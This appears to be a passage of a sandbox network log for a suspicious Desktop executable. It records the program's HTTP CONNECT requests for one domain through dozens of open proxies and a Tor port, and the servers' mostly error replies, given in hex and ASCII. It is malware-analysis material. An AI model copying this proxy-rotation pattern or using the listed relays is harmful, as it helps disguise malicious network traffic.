Feb 23, 2024 09:45:26.168044090 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1257	192.168.2.4	53648	213.194.131.64	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.080879927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.284554958 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1258	192.168.2.4	53702	162.159.242.104	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.081054926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.168425083 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1259	192.168.2.4	53517	115.239.234.43	7302	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.081465006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.432495117 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1260	192.168.2.4	53703	162.241.46.40	60708	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.108213902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.475056887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1261	192.168.2.4	53674	184.170.249.65	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.108230114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1262	192.168.2.4	53738	104.16.105.182	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.111408949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.206547976 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1263	192.168.2.4	53742	104.16.106.65	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.111958027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.207315922 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1264	192.168.2.4	53662	154.236.176.28	1981	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.130577087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1265	192.168.2.4	53640	13.234.24.116	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.138159990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.420454979 CET	28	IN	HTTP/1.1 502 Bad Gateway

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1266	192.168.2.4	52721	103.160.207.49	32650	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.144093990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.533816099 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1267	192.168.2.4	53766	202.159.30.81	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.154516935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1268	192.168.2.4	53767	43.134.230.145	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.154761076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1269	192.168.2.4	53770	43.134.230.145	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.155694962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1270	192.168.2.4	53769	202.159.30.81	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.155874968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1271	192.168.2.4	53772	43.134.230.145	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.156394958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1272	192.168.2.4	53773	202.159.30.81	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.156860113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1273	192.168.2.4	53775	43.134.230.145	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.160887957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1274	192.168.2.4	53634	43.132.212.77	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.161814928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.489643097 CET	309	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.24.0 Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1275	192.168.2.4	53162	8.130.39.155	3389	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.183495998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.178333998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.179341078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.365901947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:50.381227970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1276	192.168.2.4	53694	85.14.8.226	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.202373028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.408124924 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1277	192.168.2.4	53700	37.18.73.60	5566	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.206084967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.409250975 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1278	192.168.2.4	53697	62.33.53.248	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.214683056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:52.356216908 CET	536	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.27 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:52 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3725 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1279	192.168.2.4	53701	196.20.125.129	8083	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.214718103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1280	192.168.2.4	53666	210.211.113.36	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.214998007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1281	192.168.2.4	52794	208.109.14.49	7218	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.222656012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.365694046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1282	192.168.2.4	53669	27.75.149.169	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.223135948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1283	192.168.2.4	53723	194.146.110.228	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.223172903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1284	192.168.2.4	53207	27.147.140.50	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.227466106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.292490005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.064713955 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1285	192.168.2.4	53140	167.172.91.47	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.227466106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.558543921 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1286	192.168.2.4	53711	37.46.241.247	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.235169888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1287	192.168.2.4	53594	222.174.178.122	4999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:26.253851891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.129601955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.333512068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.586186886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.147159100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
